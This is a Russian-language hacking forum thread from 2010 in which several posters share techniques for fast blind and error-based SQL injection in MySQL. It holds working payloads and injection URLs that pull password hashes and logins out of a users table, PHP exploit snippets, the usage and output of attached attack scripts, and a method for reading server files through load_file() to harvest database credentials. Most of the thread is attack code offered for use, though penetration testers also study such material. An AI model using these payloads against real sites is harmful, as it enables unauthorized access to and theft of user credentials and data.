Старый 09.07.2010, 15:40   #1
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
Post Быстрый Blind SQL Injection.

Быстрый Blind SQL Injection.


[1] INTRO

Основной проблемой при работе с Blind SQL Injection является огромное количество запросов,
которое необходимо послать на сервер для получения символов из БД, и, соответственно, долгое время работы.
Понятно, что вручную получать данные из БД практически нереально, поэтому процесс работы необходимо автоматизировать.
Я рассмотрю некоторые варианты.


[2] Полный перебор всех символов (до 512 запросов на md5)

Самый тупой и тормознутый метод получения символов из БД. Обычно реализуется новичками в своих первых эксплоитах. Код выглядит примерно так:
PHP код:
for($i=1;$i<=32;$i++)
 for(
$j=1;$j<=255;$j++){
  
$res send($url"sql.php?id=if(ascii(substring((select+$field+from+users+where+id=0),$i,1))=$j,'1',(select+1+union+select+2))")
  if(!
preg_match('/Subquery returns/'$res) {
   echo 
$j;
   continue;
  }
 } 
Принцип работы прост: Для каждого символа сравниваем значение его ascii кода с кодами заданого нами диапазона, если выполняется некое условие - символ найден. Т.е. для хеша MD5, будет слаться до 16 запросов на символ, т.е. до 512 запросов на весь хеш. Для получения логина необходимо послать ещё больше запросов.
Плюсов у метода нет вообще, разве что код выполняющий такой перебор пишется очень быстро и легко.


[3] Бинарный (двоичный) поиск нужного символа. (до 128 запросов на md5)

- это тот метод, который используется в большинстве адекватных программ, скриптов и сплоитов, для работы со слепыми иньекциями.
Принцип работы прост:

1) Берём диапазон всех возможных символов (для md5 - [0-9,a-f]), и сравниваем значение кода символа в БД с кодом символа, который мы передали в запросе.
2) Если код символа в БД больше чем код переданого символа, то на следующем шаге, в качестве диапазона возможных символов берём диапазон от того символа,
с которым мы только что сравнивали значение в БД, до правой границы предыдущего диапазона, и идём на шаг 1.
3) Если код символа меньше, то берём диапазон от текущего символа до левой границы диапазона на предыдущем шаге, и идём на шаг 1.
4) Если символ не больше и не меньше, то мы как раз его и нашли.

Например мы получаем хеш md5:

Диапазон символов: 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f
Допустим в БД лежит символ 'b'

Запускаем процесс:
1) Находим середину диапазона [0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f], серединой является символ '8'.
2) Сравниваем, код символа 'b' больше или меньше, чем код символа '8'? (шлём запрос)
3) Код больше, поэтому на следующую итерацию уже берём диапазон [8,9,a,b,c,d,e,f], серединой является символ 'с'.
4) Сравниваем, код символа 'b' больше или меньше, чем код символа 'с'? (шлём запрос)
5) Код меньше, поэтому на следующую итерацию берём диапазон [8,9,a,b,c], серединой является символ 'a'.
6) Сравниваем, код символа 'b' больше, чем код символа 'a'? (шлём запрос)
7) Код больше, поэтому на следующую итерацию берём диапазон [a,b,c], серединой является символ 'b'.
8) Сравниваем, код символа 'b' больше или меньше, чем код символа 'b'? (шлём запрос)
9) Код ни больше и не меньше, значит символ в БД = 'b'

Т.е., в зависимости от реализации, мы отправляем до 5-6 запросов, в худшем случае, на определение кода символа.

Пример реализации:
PHP код:
function getChar($url$field$pos$lb=0$ub=255) {
    while(
true) {
        
$M floor($lb + ($ub-$lb)/2);
        if(
cond($url$field'<'$pos$M)==1) {
            
$ub $M 1
        }
        else if(
cond($url$field'>'$pos$M)==1) {
            
$lb $M 1;
        }
        else
            return 
chr($M);
        if(
$lb $ub)
            return -
1;
    }

+ метод универсален, и даёт неплохую скорость поиска.
- можно искать быстрее


[4] Использование find_in_set() и подобных (32+16 запросов на md5, by +toxa+ и madnet)

Функция find_in_set(str,strlist), используется для поиска подстроки среди списка строк, разделённых символом ',',
возвращает номер той строки из списка, которая равна переданному аргументу. Т.е.:
Код:
mysql> SELECT FIND_IN_SET('b','a,b,c,d');
-> 2
Т.е. мы можем узнавать код символа таким образом:
Код:
select find_in_set((substring((select password from users limit 1),1,1)),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f');
и получим номер символа в множестве. К примеру, для символа 'b', этот запрос вернёт 12.

В слепых скулях можно использовать так:
Код:
news.php?id=find_in_set(substring((select password from users limit 0,1),1,1),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f')
И в зависимости от кода символа мы будем видеть новость с id, соответствующим символу пароля.

На практике, для использования нужно:
1) Выделить ключевые слова на страницах с нужными id
2) Отправить запросы с find_in_set для каждого символа из БД
3) Выяснить страницу с каким id мы получили и вывести на экран код символа.

Код прикреплю во вложении, т.к. главной сложностью является выявление ключей на странице, что не имеет прямого отношения к статье, суть расписана и так.

Вместо find_in_set(), можно использовать подобные функции: LOCATE(),INSTR(),ASCII(),ORD(), причём ASCII()/ORD() предпочтительее,
т.к. присутствуют не только в MySQL. (А при помощи сложения и вычитания, получившиеся коды можно подогнать под любые ID)

+ высокая скорость работы (в идеальном случае)
+ не требует вывода ошибок
- на сайте id могут быть распределены неравномерно, т.е. скрипт приходится затачивать под каждый сайт индивидуально
- для большого количества символов в алфавите, нужно большое количество уникальных страниц в зависимости от id, которые не всегда присутствуют, иначе приходится слать больше чем 1 запрос на символ (если не понятно, см. следующий метод)


[5] Использование find_in_set() + more1row (~42 запроса на md5)

Если внимательно разобраться с методом описаным выше, можно понять, что все его минусы сводятся к тому, что не на всех сайтах, мы можем получить достаточное количество различных выводимых страниц, в зависимости от одного параметра.

Попробуем разобраться с этой проблемой, вспомним о методе more1row, который изначально описал Elekt. Суть метода сводится к тому, чтобы спровоцировать скрипт выводить какую либо ошибку, в зависимости от SQL запроса.

В данный момент, наиболее часто используется запрос:
Код:
SELECT 1 UNION SELECT 2
(нашёл podkashey), возвращающий ошибку:
Subquery returns more than 1 row

Так же, ZaCo, нашёл альтернативный вариант запроса:
Код:
"x" regexp concat("x{1,25", if(@@version<>5, "5}", "6}")) /*в случае else строка выражения выйдет за максимальный предел квантификатора*/
Если версия MySql не 5, то этот запрос вернёт ошибку:
#1139 - Got error 'invalid repetition count(s)' from regexp.

Немного порывшись в исходниках MySql и погуглив, можно найти, ещё 9 ошибок, которые возвращает неправильный regexp, итого от сервера мы можем получить 11 видов ошибок + 1 состояние, когда ошибки нет:
Код:
SELECT 1
No error

select if(1=1,(select 1 union select 2),2)
#1242 - Subquery returns more than 1 row

select 1 regexp if(1=1,"x{1,0}",2)
#1139 - Got error 'invalid repetition count(s)' from regexp

select 1 regexp if(1=1,"x{1,(",2)
#1139 - Got error 'braces not balanced' from regexp
 
select 1 regexp if(1=1,'[[:]]',2)
#1139 - Got error 'invalid character class' from regexp

select 1 regexp if(1=1,'[[',2)
#1139 - Got error 'brackets ([ ]) not balanced' from regexp

select 1 regexp if(1=1,'(({1}',2)
#1139 - Got error 'repetition-operator operand invalid' from regexp

select 1 regexp if(1=1,'',2)
#1139 - Got error 'empty (sub)expression' from regexp

select 1 regexp if(1=1,'(',2)
#1139 - Got error 'parentheses not balanced' from regexp

select 1 regexp if(1=1,'[2-1]',2)
#1139 - Got error 'invalid character range' from regexp

select 1 regexp if(1=1,'[[.ch.]]',2)
#1139 - Got error 'invalid collating element' from regexp

select 1 regexp if(1=1,'\\',2)
#1139 - Got error 'trailing backslash (\)' from regexp

Примем это во внимание.
Теперь вспомним о функции find_in_set: Если символ есть в множестве подстрок, она вернёт номер подстроки, если нет, вернёт 0. А что если передать такой запрос:
Код:
select * from users where id=-1 AND "x" regexp concat("x{1,25", if(find_in_set(substring((select passwd from users where id=1),1,1),'a,b,c,d,e,f,1,2,3,4,5,6')>0, (select 1 union select 2), "6}"))
Если 1й символ пароля находится в множестве 'a,b,c,d,e,f,1,2,3,4,5,6', то запрос вернёт:
#1242 - Subquery returns more than 1 row
,а если не находится, то:
#1139 - Got error 'invalid repetition count(s)' from regexp


Т.е. при каждом запросе, по коду ошибки, мы узнаём, к какой группе принадлежит символ.

Расставим символы по группам так, чтобы минимизировать количество обращений к серверу.

На примере md5, мы знаем, что у нас могут присутствовать только символы из диапазона [0-9,a-f], так же мы знаем, что количество групп = 12, т.к.
всего мы можем задать 12 состояний (11 ошибок + 1, когда ошибки нет). Получаем, к примеру:

Код:
[01]: '0','b','c','d','e','f'
[02]: '1'
[03]: '2'
[04]: '3'
[05]: '4'
[06]: '5'
[07]: '6'
[08]: '7'
[09]: '8'
[10]: '9'
[11]: 'a'
Расставленно именно так, чтобы минимизировать количество запросов, т.к. на каждом запросе, мы узнаём номер группы в которой находится символ.
В итоге, если символ находится в группах 01-11, то мы узнаем его значение с одного запроса. Если символ лежит в группе 1, то следующим запросом мы распределяем символы по группам вот так, и сразу узнаём непосредственное значение символа:
Код:
[01]: '0'
[02]: 'b'
[03]: 'c'
[04]: 'd'
[05]: 'e'
[06]: 'f'
Алгоритм работы со скулёй выглядит несложно:
1) оптимально распределить символы алфавита по группам
2) по возвращённому коду ответа выяснить в какой группе находится символ из бд
3) если в этой группе только 1 символ, то выводим его на экран, если больше чем 1 символ, то распрделеяем символы из данной группы по состояниям и идём на шаг 1.

Понятно, что руками писать такие запросы совершенно нереально, к примеру рабочий запрос для алфавита [a-z,A-Z,0-9], и 11 состояний выглядит вот так:
Код:
sql.php?id=1+AND+"x"+regexp+concat("x{1,25",+(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7,8,9'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7,8'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k'),('}'),(select+1+union+select+2))),'}x{1,0}')),'}x{1,(')),'}[[:]]')),'}[[')),'}(({1}')),'}(')),'}[2-1]')),'}[[.ch.]]')),'}\\')))+--+1
Поэтому в приложении можно найти скрипт, который автоматически генерирует запросы с вложеными условиями согласно описаному выше алгоритму, отправляет их и по ответу определяет, стоит ли слать ещё запросы, или символ уже найден.

+ высокая скорость работы
+ универсален, как и more1row
* Можно искать 1 символ за запрос, если найти ещё 4 ошибки, работающие в динамическом режиме.
- требует включеный вывод ошибок


[6] Outro

Существует довольно много возможностей ускорить процес работы со слепыми SQL иньекциями, главное не зацикливаться на старых заезженных способах.
Кто знает что нам принесут новые версии известных СУБД.


[7] Links

При написании статьи использовалось:

https://forum.antichat.ru/thread43966.html - SQL injection полный FAQ by Dr.Z3r0
https://forum.antichat.ru/thread43966.html - Новая альтернатива Benchmark'y или эффективный blind SQL-injection by Elekt
https://forum.antichat.ru/showpost.p...9&postcount=11 - Использование ошибок regexp by ZaCo
https://blackhole.cih.ms:13000/showthread.php?t=554 - Проведение слепых инъекций через find_in_set() by +toxa+ (там же скрипт)
http://dev.mysql.com/sources/doxygen...8c-source.html - Ошибки regexp (сорцы MySql)
Qwazar вне форума   Ответить с цитированием
Старый 09.07.2010, 15:40   #2
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию Скрипт для работы через find_in_set() (метод - 4)

За основу взят скрипт c cih.ms, который написал +toxa+.

Количество запросов: 1 на каждый символ алфавита + 1 на каждый символ в строке. Т.е. для классического MD5 - 48 запросов. Из них 16 - абсолютно естественные, никак не используют иньекцию саму по себе + от них можно избавиться, если в коде прописать регулярку, вычисляющую на какой именно странице мы находимся, тогда будет 1 запрос на 1 символ.


Алгоритм работы скрипта:
1) Отправляет нормальные запросы вида ?id=1, ?id=2 .. ?id=N, где N - количество символов в алфавите.
2) Вычисляет ключевые слова для каждого из вариантов.
3) Шлёт на сервер запрос вида: id=find_in_set(substring((select+passw+from+users+ limit+0,1),0,1),[АЛФАВИТ])
4) В ответе сервера ищет ключи, найденые ранее, если ключ совпал, значит символ найден.

Описание:
запуск из консоли в виде:
Код:
fast_in_set.php url field table [target_id] [send_queries] [start_from] [alphabet]
где:

обязательные:
url - url вида http://test1.ru:8012/find_in_set/news.php?id= (Важно: после = скрипт подставлять цифры будет сам, никакого -1 там не нужно)
field - имя столбца
table - имя таблицы

необязательные:
[target_id] - id записи в таблице (по дефолту 0, т.е. первая запись)
[send_queries] - количество символов которое надо получить (по дефолту 32)
[start_from] - страница с которой надо начать (по дефолту 1), т.е. для получения хеша мд5 скрипту потребуется 16 различных страниц идущих подряд, а это число прибавится к получаемому id. Т.е. для md5, при start_from=10, скрипт пробежится по страницам с id от 10 до 26 включительно.
[alphabet] - можно задать свой алфавит (по дефолту [a-f0-9]), разделив символы запятыми. Напиример: 1,2,3,4,5,6,7,8,9,0 .

Пример:
Код:
php fast_in_set.php http://test1.ru:8012/find_in_set/news.php?id= password users
или
php fast_in_set.php http://test1.ru:8012/find_in_set/news.php?id= login users 0 5 1 r,a,o,t,z
Результат работы:
Код:
Generating templates................ [OK]
Getting keywords................ [OK]
Filtering keywords................ [OK]
Sending queries................................ [OK]
Getting value: 63a9f0ea7bb98050796b649e85481845 [DONE]

или

Generating templates..... [OK]
Getting keywords..... [OK]
Filtering keywords..... [OK]
Sending queries..... [OK]
Getting value: root [DONE]
В строках Generating templates и Sending queries каждая точка обозначает отправленный запрос. В остальных - обработку символов.

P.S.
Поидее надо добавить возможность задавать id не последовательно, возможность установить свою регулярку чтобы не надо было слать запросы для определения ключей + заточить под все виды БД.
Вложения
Тип файла: txt fast_in_set.txt (6.5 Кб, 1716 просмотров)

Последний раз редактировалось Qwazar; 09.07.2010 в 15:51..
Qwazar вне форума   Ответить с цитированием
Старый 09.07.2010, 15:42   #3
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию Скрипт для работы через find_in_set()+more1row (метод 5)

Генерация запросов:

2 ошибки обладают особенностями:
1) select 1 regexp if(1=1,"x{1,0}",2) - работает только так, как показал ZaCo в древнем посте на античате, и требует чтобы к остальным запросам regexp корректно в начале был добавлен символ "}", иначе назвисимо от условий ругается тольо так: "#1139 - Got error 'repetition-operator operand invalid' from regexp"
2) select 1 regexp if(1=1,'',2), работает только при наличии пустого запроса, или так: 'a|' (отсутствие чего бы то нибыло после | ), но особенность 1 убивает возможность использования чисто пустого запроса.

Вложенные запросы скрипт генерирует сам.

Дальше понадобилось группировать символы алфавита по условиям. Скрипт делает это по принципу (на примере [0-9,a-f] и 4х состояний):

1) Раскидывает по 1 букве алфавита на запрос, т.е.
Код:
[1]:1
[2]:2
[3]:3
[4]:4
2) если символы остались, то начинает расставлять их по состояниям, слева-направо, заполняя каждую категорию не более чем на количество равное количеству состояний.

3) Если ещё остались не распиханые символы, идём на шаг 2.

В итоге символы по категориям расставлены так, что поиск по ним будет происходить максимально быстро.

Например, символы [1,2,3,4,5,6,7,8], скрипт по состояниям расставит вот так:

[1]:1,5,6,7
[2]:2,8
[3]:3
[4]:4

И получаем, что если символ в запросе равен 3 или 4, то его найдут с 1 запроса, если [1,5,6,7] или [2,8], то с 2х запросов.

Для генерации запросов используется следующая структура:

1) Все запросы хранятся в массиве:
Код:
$queries = array(
 "if(%cond%,%then%,(select+1+union+select+2))" => "Subquery returns more than 1 row",
 "if(%cond%,%then%,'}x{1,0}')" => "invalid repetition count(s)",
 "if(%cond%,%then%,'}x{1,(')" => "braces not balanced", 
 "if(%cond%,%then%,'}[[:]]')" => "invalid character class",
 "if(%cond%,%then%,'}[[')" => "brackets ([ ]) not balanced",
 "if(%cond%,%then%,'}(({1}')" => "repetition-operator operand invalid",
 "if(%cond%,%then%,'}|'" => "empty (sub)expression",
 "if(%cond%,%then%,'}(')" => "parentheses not balanced",
 "if(%cond%,%then%,'}[2-1]')" => "invalid character range",
 "if(%cond%,%then%,'}[[.ch.]]')" => "invalid collating element",
 "if(%cond%,%then%,'}\\\\')" => "trailing backslash",
);
где %cond% jобозначает место, куда скрипт должен подставить условие, %then% - место куда скрипт должен вставить следующий подзапрос.

Зная это можно свободно добавлять/удалять ошибки из массива. Программа отработает полностью автоматически, и строит окончательный запрос только из тех подзапросов которые есть в наличии. (комментирование/добавление запросов к некорректной работе не приведёт).

2) основной запрос обёртка прописывается так:
Код:
$template = "+AND+\"x\"+regexp+concat(\"x{1,25\",+(%query%))+--+1";
где %query% - место куда скрипт должен подставить сгенерированные подзапросы.

3) Подзапросы тут:
Код:
$condition = 'find_in_set(substring((select+'.$field.'+from+'.$table.'+limit+%id%,1),%number%,1),%symbols%)';
где: %id% - место куда подставится id, %number% - место куда скрипт будет подставлять номер символа в строке, %symbols% - куда скрипт будет размещать символы.

4)алфавит можно задать как в исходниках, так и из командной строки. В исходниках:
Код:
$alphabet = array_merge(range('0', '9'),range('a', 'f'));
В принципе это всё нужно только для тонкой настройки.

Работа со скриптом:
Цитата:
veryfast.php url field table [target_id] [send_queries] [alphabet]
где:

обязательные:
url - url вида http://test1.ru:8012/sql.php?id=1 (Важно: нужна цифра, или символ)
field - имя столбца
table - имя таблицы

необязательные:
[target_id] - id записи в таблице (по дефолту 0, т.е. первая запись)
[send_queries] - количество символов которое надо получить (по дефолту 32)
[alphabet] - можно задать свой алфавит (по дефолту [a-f0-9]), разделив символы запятыми. Напиример: 1,2,3,4,5,6,7,8,9,0 .

Пример:
Цитата:
php veryfast.php http://test1.ru:8012/sql.php?id=1 passwd users
Результат работы:
Цитата:
Result: 200820e3227815ed1756a6b531e7e0d2
Total: 42 queries
Если нужно задать алфавит, id и прочее то пишем так:
Цитата:
php veryfast.php http://test1.ru:8012/sql.php?id=1 passwd users 5 15 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f
На практике у меня на хеши md5 уходит около 40 запросов.

Если кто найдёт ещё 4 ошибки, которые работают в динамическом режиме (внутри if в зависимости от условия), то скрипт будет работать со скоростью 1 запрос - 1 символ. Добавить ошибки в базу, с учётом написаного выше, будет легко любому.

Во вложениях 2 скрипта, в 1м всё запросы передаются в чистом виде и с кавычками (удобно для того чтобы понять как это работет), во 2м всё захексено, чтобы не было проблем с экранированием кавычек.
Вложения
Тип файла: txt veryfast1.txt (9.4 Кб, 1895 просмотров)
Тип файла: txt veryfast2.txt (9.6 Кб, 1546 просмотров)

Последний раз редактировалось Qwazar; 09.07.2010 в 15:53..
Qwazar вне форума   Ответить с цитированием
Старый 09.07.2010, 15:43   #4
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию

Ещё 1 способ узнать имена колонок без использования information_schema в MySQL5 (нашёл 25.02.2009, спасибо Грею, за то что проверил у себя и всем, кого мучал вопросами).

У меня есть таблицы:
news(id,title,date)
users(id,name,passwd,is_admin)

Допустим мы имеем скуль:
SELECT * FROM `news` WHERE id = [SQL]

Хотим узнать имена столбцов в таблице users. Делаем это так:

Шлём запрос:
Код:
SELECT * FROM `news` WHERE id = -1 UNION SELECT * FROM users, (SELECT * FROM `users` CROSS JOIN (select * from users) as b ON 1=1)a
Возвращает ошибку:
#1060 - Duplicate column name 'id'

Кстати можно использовать любой вариант JOIN'а, не обязательно CROSS JOIN, просто перебирая варианты он оказался последним.

(А вот после этого пришлось помучатся, благо в MySQL обнаружилась конструкция USING(), далее всё внимание на неё)

Тогда шлём запрос:
Код:
SELECT * FROM `news` WHERE id = -1 UNION SELECT * FROM users, (SELECT * FROM `users` CROSS JOIN (select * from users) as b USING(id))a
Возвращает:
#1060 - Duplicate column name 'name'

Тогда шлём:
Код:
SELECT * FROM `news` WHERE id = -1 UNION SELECT * FROM users, (SELECT * FROM `users` CROSS JOIN (select * from users) as b USING(id,name))a
Возвращает:
#1060 - Duplicate column name 'passwd'

И т.д., когда переберём все столбцы, вернётся:
#1222 - The used SELECT statements have a different number of columns

З.Ы.
Если удалить всё ненужное, то получатся запросы:
Код:
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
Код:
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
Вариантов избавиться от подзапросов пока не вижу
Qwazar вне форума   Ответить с цитированием
Старый 09.07.2010, 15:44   #5
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию

Итак, развиваем тему "more 1 row".

Зачем слать по 40 запросов на хеш? Почему бы нам не вытянуть всё поле из БД сразу.

Для этого вспоминаем мой метод получения имён полей из БД:

Цитата:
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
Выведет имя поля, присутствуещего с двух сторон оператора JOIN: #1060 - Duplicate column name 'id'

А что если попытаться подставить значение из базы, в качестве имени одного из полей?

На поиск такого варианта я потратил много времени и решение было найдено:

Функция NAME_CONST()

Цитата:
mysql> SELECT NAME_CONST('myname', 14);
+--------+
| myname |
+--------+
| 14 |
+--------+
Пробуем, и получаем рабочий запрос:

Цитата:
SELECT 1 FROM news WHERE id=-1 UNION SELECT * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT passhash FROM users LIMIT 1), 14)d) as t JOIN (SELECT NAME_CONST((SELECT passhash FROM users LIMIT 1), 14)e) b)a
Результат работы:
#1060 - Duplicate column name 'f8d80def69dc3ee86c5381219e4c5c80'


И вот ещё пример от jokester:
Цитата:
mysql> select username from AEF.aef_users where id=1 union select * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT concat_ws(0x3a,user_loginname,user_password) FROM e107.e107_user LIMIT 1), 14)d) as t
JOIN (SELECT NAME_CONST((SELECT concat_ws(0x3a,user_loginname,user_password) FROM e107.e107_user LIMIT 1), 14)e) b)a;
Цитата:
ERROR 1060 (42S21): Duplicate column name 'admin:21232f297a57a5a743894a0e4a801fc3'
Ну и в неслепых скулях этим можно пользоваться если лень подбирать кол-во колонок.

Требования: MySQL=5.0.*, на 6й ветке не проверял, если кто проверит - отпишитесь.

Первым идею выводить значение поля в тексте ошибки, мне предложил Jokester (не забываем передавать спасибо и ему). На поиск варианта практической реализации, мной было потрачено около двух месяцев...

P.S.
Ну что, кто сможет быстрее??

UPD:
У меня текст имени колонки выводимой в ошибке, режется до 64 символов
Qwazar вне форума   Ответить с цитированием
Старый 09.07.2010, 15:45   #6
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию

Ещё один вариант вывода через ошибку нашёл Дмитрий Евтеев:
Код:
sql.php?id=1 and ExtractValue(1,concat(0x5c,('test')))
Вернёт ошибку:
Код:
XPATH syntax error: '\test'
Подробнее в этой презентации (слайд 24): http://www.slideshare.net/devteev/ad...7439?src=embed

З.Ы.
Как я понял требуется MySQL 5.1 , поправьте если ошибаюсь.

З.З.Ы.
Ограничение длины вывода - 31 символ.

3.3.3.Ы.
Советую презентацию целиком посмотреть, есть интересные вещи, хоть и намешано в кучу.
Qwazar вне форума   Ответить с цитированием
Старый 09.07.2010, 15:45   #7
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию Вывод информации в ошибке для Mysql >= 4.1

Скрипт для теста:

PHP код:
<?php
 mysql_connect
("localhost""root""");
 
mysql_select_db ('test');

 
$rz mysql_query ("select count(*),concat(version(),floor(rand()*2)) x from users group by x;") or die (mysql_error());
?>
Запускаем несколько раз (!!!) и с далеко ненулевой вероятностью ловим ошибку типа:

Duplicate entry '5.0.45-community-nt1' for key 1
Duplicate entry '5.0.45-community-nt0' for key 1

Пример использования в скуле:
Код:
http://localhost/sql.php?id=1+UNION+select+1,count(*),concat((select pass from users limit 1),0x3a,floor(rand()*2))+x+from+users+group+by+x
Результат:
Код:
Duplicate entry '1bc29b36f623ba82aaf6724fd3b16718:1' for key 1
Вариант запуска без подбора колонок (Можно использовать только <,> и !=, символ = не прокатит):

Код:
http://localhost/sql.php?id=1'+and+row(1,1)>(select+count(*),concat((select+pass+from+users+limit+1),0x3a,floor(rand()*2))+x+from+users+group+by+x+limit+1)+--+1

Особенности:

1) Работает на всех ветках, проверял на 4.1, 5.0, 5.1 .

2) Когда в таблице из которой надо дёрнуть информацию, находится только одна строка, надо делать так:
Код:
sql.php?id=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2)) x from (select 1 union select 2)a group by x limit 1) -- 1
или так:
Код:
sql.php?id=1 union select 1,2,passwd from users where id=1 and row(1,1)>(select count(*),concat( (select users.passwd) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- 1
Может быть попробую перевести в более удобоваримую форму.

P.S.
Скриншот консоли, первые 3 раза запрос отработал, на 4й упал как надо: http://s48.radikal.ru/i120/0910/ce/4974d14483ba.jpg

P.P.S.
Я выкладываю всё это не просто так, большая просьба ко всем кто использует эти методы на практике - сообщайте о версиях на которых метод не отработал!! И о любом нестандартном поведении, которые замечаете. В данном случае так же интересуют закономерности и зависимости .

Так-же тут: http://qwazar.ru/?p=7
Qwazar вне форума   Ответить с цитированием
Старый 09.07.2010, 15:47   #8
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию Вывод данных в ошибке для MySQL>=4.1

Дмитрий Евтеев допилил мой вариант вывода данных в ошибке через рандом, чтобы вывод ошибки был в 100% случаев.

Вот запрос выводящий данные всегда:
Код:
select count(*),concat(version(),floor(rand(0)*2)) x from table group by x;
Источник: http://qwazar.ru/?p=7#comment-8378

P.S.
Различия в том, что в функцию rand() передаётся аргумент 0.
Qwazar вне форума   Ответить с цитированием
Старый 09.07.2010, 15:52   #9
Grey
 
Аватар для Grey
 
Регистрация: 30.06.2010
Сообщений: 38
По умолчанию Парсинг файла средствами mysql

Парсинг файла средствами mysql.

Врят ли скажу что нидь новое, да и в старой версии jtuj скрипта такая возможность была, но только плохо реализованная, в новой версии постараюсь добавить эту опцию (алгоритм уже реализован).

Ну так вот, суть в том, что при слепых sql инъекциях читать файлы почти не реально, т.к. времени это займет невероятно много. Но читать весь файл как правило и не нужно, ведь в большинстве случаев интересует какое то конкретное содержимое (переменные с данными для подключения к БД, паролями и т.д.). Вполне логичным становиться парсить файл средствами mysql и получать не всё содержимое файла, а только его нужную часть.

Алгоритм такой:

1. Берем фрагмент нужной переменной (к примеру: 'pass') и ищем его позицию.
2. Далее ищем позиции левой (к примеру: '$') и правой (к примеру: ';') границы.
3. Ищем другие позиции для данного фрагмента и следующие позиции границ.
4. Повторяем пункты 1-3 для фрагментов других переменных.
Таким образом мы получаем массив областей в котором для каждой переменной имеется начальная и конечная позиции.
5. Далее, не менее важным является удалить повторяющиеся позиции и пересечения областей (к примеру: было: '1','6'; '3','4'; '4','8','10','11'; => '1','8';'10','11';).

Для поиска позиций нужно использовать оптимизированную функцию (3.5 запроса на символ) - немного, но всё же быстрее, а тут скорость критична.

Сам поиск позиций осуществляется через функцию locate().
К примеру так:

PHP код:
function grey_fsif($file_name$text$begin_pos$vector 1) {

if(
$vector == 1) {
    
$result = (int) grey_uf2a3('locate(0x'.bin2hex($text).',load_file('.$file_name.'),'.$begin_pos.')'2);
} else {
    
$result = (int) $begin_pos - (grey_uf2a3('locate(0x'.bin2hex(strrev($text)).', reverse(left(load_file('.$file_name.'), '.($begin_pos 1).')))'2) - 1);
}

return 
$result; } 

Последний раз редактировалось Grey; 09.07.2010 в 15:55..
Grey вне форума   Ответить с цитированием
Старый 09.07.2010, 15:54   #10
Grey
 
Аватар для Grey
 
Регистрация: 30.06.2010
Сообщений: 38
По умолчанию 3.4 запроса на получение цифрового символа (0-9)

3.4 запроса на получение цифрового символа (0-9).

Продолжая заниматься оптимизацией своего скрипта до шёл до такой обыденной штуковины, как определение длины возвращаемой строки.

До этого момента использовал функцию для быстрой выдерки хешей (эта которая работает с символами 0-9a-f), задумался насколько это разумно - с одной стороны использовать меньший диапазон нельзя - там всего 8 символов, а у нас 10 (ведь работая с длиной мы получаем только цифры), а с другой выходит, что есть лишние проверки.

Посмотрел как выглядят ascii коды нужных символов и вот, что получилось:

Цитата:
S AS BIN
0 48 110000
1 49 110001
2 50 110010
3 51 110011
4 52 110100
5 53 110101
6 54 110110
7 55 110111
